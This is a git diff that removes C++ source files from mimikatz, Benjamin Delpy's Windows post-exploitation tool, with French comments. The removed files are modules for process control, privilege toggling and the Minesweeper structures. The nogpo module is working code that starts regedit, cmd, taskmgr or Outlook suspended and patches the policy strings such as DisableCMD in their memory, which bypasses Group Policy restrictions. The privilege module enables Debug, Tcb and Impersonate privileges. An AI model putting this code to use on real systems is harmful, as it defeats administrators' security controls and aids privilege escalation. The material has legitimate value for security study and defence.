|
||||
class mod_mimikatz_minesweeper
|
||||
{
|
||||
private:
|
||||
typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT {
|
||||
DWORD nbElements;
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
PVOID elements;
|
||||
DWORD unk2;
|
||||
DWORD unk3;
|
||||
} STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT;
|
||||
|
||||
typedef struct _STRUCT_MINESWEEPER_BOARD {
|
||||
PVOID Serializer;
|
||||
DWORD nbMines;
|
||||
DWORD nbLignes;
|
||||
DWORD nbColonnes;
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
DWORD unk2;
|
||||
DWORD unk3;
|
||||
DWORD unk4;
|
||||
DWORD unk5;
|
||||
DWORD unk6;
|
||||
DWORD unk7;
|
||||
DWORD unk8;
|
||||
DWORD unk9;
|
||||
#ifdef _M_X64
|
||||
DWORD unk_x64;
|
||||
#endif
|
||||
DWORD unk10;
|
||||
PVOID unk11;
|
||||
PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles;
|
||||
PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines;
|
||||
DWORD unk12;
|
||||
DWORD unk13;
|
||||
} STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD;
|
||||
|
||||
typedef struct _STRUCT_MINESWEEPER_GAME {
|
||||
PVOID Serializer;
|
||||
//PVOID pGameStat; on 7x86
|
||||
PVOID pNodeBase;
|
||||
PVOID pBoardCanvas;
|
||||
PSTRUCT_MINESWEEPER_BOARD pBoard;
|
||||
PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86;
|
||||
} STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME;
|
||||
|
||||
typedef struct structHandleAndAddr{
|
||||
HANDLE hMineSweeper;
|
||||
DWORD pidMineSweeper;
|
||||
PVOID G;
|
||||
} structHandleAndAddr;
|
||||
|
||||
static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr);
|
||||
static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
static bool infos(vector<wstring> * arguments);
|
||||
};
|
@ -1,209 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_nogpo.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments)
|
||||
{
|
||||
(*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments)
|
||||
{
|
||||
(*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments)
|
||||
{
|
||||
(*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments)
|
||||
{
|
||||
char szDisable[] = "DisablePst";
|
||||
char szKiwi[] = "KiwiAndPst";
|
||||
|
||||
wstring pathToOutlook;
|
||||
|
||||
if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook))
|
||||
{
|
||||
DWORD pidOutlook = 0;
|
||||
bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook);
|
||||
|
||||
(*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO");
|
||||
if(reussite)
|
||||
{
|
||||
mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi));
|
||||
}
|
||||
} else (*outputStream) << L"Outlook introuvable" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD regError;
|
||||
|
||||
wstring pathToApplication = L"Software\\Classes\\";
|
||||
pathToApplication.append(application);
|
||||
pathToApplication.append(L"\\CLSID");
|
||||
|
||||
HKEY hApplication;
|
||||
|
||||
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD ApplicationType = 0;
|
||||
DWORD ApplicationSize = 0;
|
||||
LPBYTE monGUID = NULL;
|
||||
|
||||
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
if(ApplicationType == REG_SZ)
|
||||
{
|
||||
monGUID = new BYTE[ApplicationSize];
|
||||
|
||||
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
wstring regPathToPath =
|
||||
#ifdef _M_X64
|
||||
L"Software\\Wow6432Node\\Classes\\CLSID\\";
|
||||
#elif defined _M_IX86
|
||||
L"Software\\Classes\\CLSID\\";
|
||||
#endif
|
||||
regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID));
|
||||
regPathToPath.append(L"\\LocalServer32");
|
||||
|
||||
HKEY hApplicationPath;
|
||||
|
||||
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD ApplicationPathType = 0;
|
||||
DWORD ApplicationPathSize = 0;
|
||||
LPBYTE monPath = NULL;
|
||||
|
||||
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
if(ApplicationPathType == REG_SZ)
|
||||
{
|
||||
monPath = new BYTE[ApplicationPathSize];
|
||||
|
||||
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
|
||||
if(reussite = (regError == ERROR_SUCCESS))
|
||||
{
|
||||
path->assign(reinterpret_cast<wchar_t *>(monPath));
|
||||
} else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
delete[] monPath;
|
||||
} else (*outputStream) << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl;
|
||||
} else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
RegCloseKey(hApplicationPath);
|
||||
} else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
} else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
delete[] monGUID;
|
||||
} else (*outputStream) << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl;
|
||||
} else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
RegCloseKey(hApplication);
|
||||
} else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION();
|
||||
if(mod_process::start(&commandLine, mesInfos, true))
|
||||
{
|
||||
PEB * monPeb = new PEB();
|
||||
if(mod_process::getPeb(monPeb, mesInfos->hProcess))
|
||||
{
|
||||
PBYTE patternAddr = NULL;
|
||||
// Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment)
|
||||
if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess))
|
||||
{
|
||||
if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess)))
|
||||
{
|
||||
(*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl;
|
||||
|
||||
delete monPeb;
|
||||
|
||||
if(!(ResumeThread(mesInfos->hThread) != -1))
|
||||
(*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl;
|
||||
|
||||
if(monPID)
|
||||
{
|
||||
*monPID = mesInfos->dwProcessId;
|
||||
}
|
||||
|
||||
WaitForInputIdle(mesInfos->hProcess, INFINITE);
|
||||
|
||||
CloseHandle(mesInfos->hThread);
|
||||
CloseHandle(mesInfos->hProcess);
|
||||
}
|
||||
else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesInfos;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(origKey.size() == kiwiKey.size())
|
||||
{
|
||||
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t);
|
||||
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str()));
|
||||
const void * maCleFinale = kiwiKey.c_str();
|
||||
|
||||
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
|
||||
}
|
||||
else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(origKey.size() == kiwiKey.size())
|
||||
{
|
||||
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char);
|
||||
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str()));
|
||||
const void * maCleFinale = kiwiKey.c_str();
|
||||
|
||||
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
|
||||
}
|
||||
else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
@ -1,30 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_patch.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_nogpo
|
||||
{
|
||||
private:
|
||||
static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL);
|
||||
static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL);
|
||||
static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL);
|
||||
|
||||
static bool getApplicationPathFromCLSID(wstring application, wstring * path);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool regedit(vector<wstring> * arguments);
|
||||
static bool cmd(vector<wstring> * arguments);
|
||||
static bool taskmgr(vector<wstring> * arguments);
|
||||
static bool olpst(vector<wstring> * arguments);
|
||||
};
|
||||
|
@ -1,166 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_privilege.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_privilege::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilèges"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilèges"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilèges"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilèges"));
|
||||
/* Raccourçis */
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilège Debug"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilège Security"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilège Tcb"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilège Impersonate"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilège AssignPrimaryToken"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilège Shutdown"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilège TakeOwnership"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::enable(vector<wstring> * arguments)
|
||||
{
|
||||
bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::remove(vector<wstring> * arguments)
|
||||
{
|
||||
bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::disable(vector<wstring> * arguments)
|
||||
{
|
||||
bool reussite = multiplePrivs(arguments, 0);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::simplePriv(wstring priv, vector<wstring> * arguments)
|
||||
{
|
||||
bool ajout = arguments->empty();
|
||||
|
||||
(*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilège : " << priv << L" : ";
|
||||
|
||||
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
|
||||
mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0));
|
||||
|
||||
bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE);
|
||||
delete mesPrivs;
|
||||
|
||||
if(reussite)
|
||||
(*outputStream) << L"OK";
|
||||
else
|
||||
(*outputStream) << L"KO ; " << mod_system::getWinError();
|
||||
(*outputStream) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::multiplePrivs(vector<wstring> * privs, DWORD type)
|
||||
{
|
||||
bool reussite = false;
|
||||
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
|
||||
for(vector<wstring>::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; ++monPrivilege)
|
||||
{
|
||||
mesPrivs->push_back(make_pair(*monPrivilege, type));
|
||||
}
|
||||
reussite = mod_privilege::set(mesPrivs);
|
||||
delete mesPrivs;
|
||||
|
||||
if(reussite)
|
||||
(*outputStream) << L"OK";
|
||||
else
|
||||
(*outputStream) << L"KO ; " << mod_system::getWinError();
|
||||
(*outputStream) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_privilege::list(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
|
||||
|
||||
if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE))
|
||||
{
|
||||
for(vector<pair<wstring, DWORD>>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; ++monPrivilege)
|
||||
{
|
||||
(*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t';
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES)
|
||||
{
|
||||
if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
|
||||
{
|
||||
(*outputStream) << L"ENABLED_BY_DEFAULT ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_ENABLED)
|
||||
{
|
||||
(*outputStream) << L"ENABLED ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
|
||||
{
|
||||
(*outputStream) << L"REMOVED ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS)
|
||||
{
|
||||
(*outputStream) << L"USED_FOR_ACCESS ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
|
||||
{
|
||||
(*outputStream) << L"REMOVED";
|
||||
}
|
||||
}
|
||||
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
}
|
||||
else (*outputStream) << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_privilege::debug(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_DEBUG_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::security(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_SECURITY_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::tcb(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_TCB_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::impersonate(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_IMPERSONATE_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::assign(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::shutdown(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_SHUTDOWN_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::takeowner(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true;
|
||||
}
|
@ -1,33 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_privilege.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_privilege
|
||||
{
|
||||
private:
|
||||
static bool multiplePrivs(vector<wstring> * privs, DWORD type);
|
||||
static bool simplePriv(wstring priv, vector<wstring> * arguments);
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
static bool enable(vector<wstring> * arguments);
|
||||
static bool remove(vector<wstring> * arguments);
|
||||
static bool disable(vector<wstring> * arguments);
|
||||
|
||||
static bool debug(vector<wstring> * arguments);
|
||||
static bool security(vector<wstring> * arguments);
|
||||
static bool tcb(vector<wstring> * arguments);
|
||||
static bool impersonate(vector<wstring> * arguments);
|
||||
static bool assign(vector<wstring> * arguments);
|
||||
static bool shutdown(vector<wstring> * arguments);
|
||||
static bool takeowner(vector<wstring> * arguments);
|
||||
|
||||
};
|
@ -1,297 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_process.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_process::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Exécute un processus, /paused et/ou /sudo"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'exécution d\'un processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_process::start(vector<wstring> * arguments)
|
||||
{
|
||||
if(!arguments->empty())
|
||||
{
|
||||
wstring commande = arguments->back();
|
||||
bool paused = false;
|
||||
bool sudo = false;
|
||||
|
||||
(*outputStream) << L"Demande d\'exécution de : \'" << commande << L"'" << endl;
|
||||
PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0};
|
||||
|
||||
switch(arguments->size())
|
||||
{
|
||||
case 2:
|
||||
if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
|
||||
paused = true;
|
||||
else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0)
|
||||
sudo = true;
|
||||
else
|
||||
goto doStartProcess_syntaxerror;
|
||||
|
||||
break;
|
||||
case 3:
|
||||
if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
|
||||
paused = true;
|
||||
else
|
||||
goto doStartProcess_syntaxerror;
|
||||
|
||||
if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0)
|
||||
sudo = true;
|
||||
else
|
||||
goto doStartProcess_syntaxerror;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if(mod_process::start(&commande, &pi, paused, sudo))
|
||||
{
|
||||
if(paused)
|
||||
(*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl;
|
||||
|
||||
if(sudo)
|
||||
(*outputStream) << L" * Le processus est démarré avec de fausses données d\'identification" << endl;
|
||||
|
||||
printInfosFromPid(pi.dwProcessId, pi.dwThreadId);
|
||||
}
|
||||
else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
doStartProcess_syntaxerror:
|
||||
(*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_process::stop(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); ++monProcessName)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring procName = *monProcessName;
|
||||
|
||||
if(mod_process::getUniqueForName(&monProcess, &procName))
|
||||
{
|
||||
(*outputStream) << L"Fin de : " << procName << L'\t';
|
||||
if(mod_process::stop(monProcess.th32ProcessID))
|
||||
(*outputStream) << L"OK";
|
||||
else
|
||||
(*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError();
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_process::suspend(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); ++monProcessName)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring procName = *monProcessName;
|
||||
|
||||
if(mod_process::getUniqueForName(&monProcess, &procName))
|
||||
{
|
||||
(*outputStream) << L"Suspension de : " << procName << L'\t';
|
||||
if(mod_process::suspend(monProcess.th32ProcessID))
|
||||
(*outputStream) << L"OK";
|
||||
else
|
||||
(*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError();
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_process::resume(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); ++monProcessName)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring procName = *monProcessName;
|
||||
|
||||
if(mod_process::getUniqueForName(&monProcess, &procName))
|
||||
{
|
||||
(*outputStream) << L"Reprise de : " << procName << L'\t';
|
||||
if(mod_process::resume(monProcess.th32ProcessID))
|
||||
(*outputStream) << L"OK";
|
||||
else
|
||||
(*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError();
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
bool mod_mimikatz_process::list(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * vectorProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
if(mod_process::getList(vectorProcess))
|
||||
{
|
||||
(*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl;
|
||||
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); ++monProcess)
|
||||
{
|
||||
(*outputStream) <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' <<
|
||||
monProcess->szExeFile <<
|
||||
endl;
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorProcess;
|
||||
return true;
|
||||
}
|
||||
|
||||
